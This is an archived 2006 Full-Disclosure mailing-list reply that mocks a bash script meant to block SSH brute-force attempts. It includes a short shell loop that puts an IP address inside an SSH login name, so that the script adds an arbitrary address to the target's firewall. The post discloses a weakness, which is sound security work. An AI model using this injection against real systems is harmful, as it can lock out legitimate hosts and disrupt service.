Network Security: Detailed info on Re: [Full-disclosure] reduction of brute force login attempts via SSH th

Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.

Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.

Network Security FullDisclosure

[Top] [All Lists]

Re: [Full-disclosure] reduction of brute force login attempts via SSH th

from [Gary Leons] Network Security

[Permanent Link]

Subject:	Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit
Date:	Tue, 28 Feb 2006 22:52:52 +0100

On 2/28/06, GroundZero Security <fd@g-0.org> wrote:

Hello,

i made a small bash script last year to block those bruteforce attempts 
automatically via the firewall.
In case someone is interested, i released it on our website. Someone may have 
a use for it :-)
http://www.groundzero-security.com/code/bruteforce-block.sh
Have a nice day everyone!

-sk


That is remarkably shoddy coding from a "security research and
software developer".

*NEWS FLASH* most platforms allow login names to contain spaces.

$ for ((i=0;i<5;i++));

 do ssh -l "j00 ar3 l4m3 222.173.190.239" idiot.running.this.script.com
 done


And i just added an arbitrary address to your firewall, fun!
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[More with this subject...]

<Prev in Thread]	Current Thread	[Next in Thread>
[Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit, Jay Libove Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit, Matthijs van Otterdijk Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit, GroundZero Security Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit, Christian \"Khark\" Lauf Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit, Gary Leons <= Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit, GroundZero Security Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit, Gary Leons

Previous by Date:	Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit, Christian \"Khark\" Lauf
Next by Date:	Re: [Full-disclosure] Mozilla Thunderbird : Multiple Information Disclosure Vulnerabilities, Daniel Veditz
Previous by Thread:	Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit, Christian \"Khark\" Lauf
Next by Thread:	Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit, GroundZero Security
Indexes:	[Date] [Thread] [Top] [All Lists]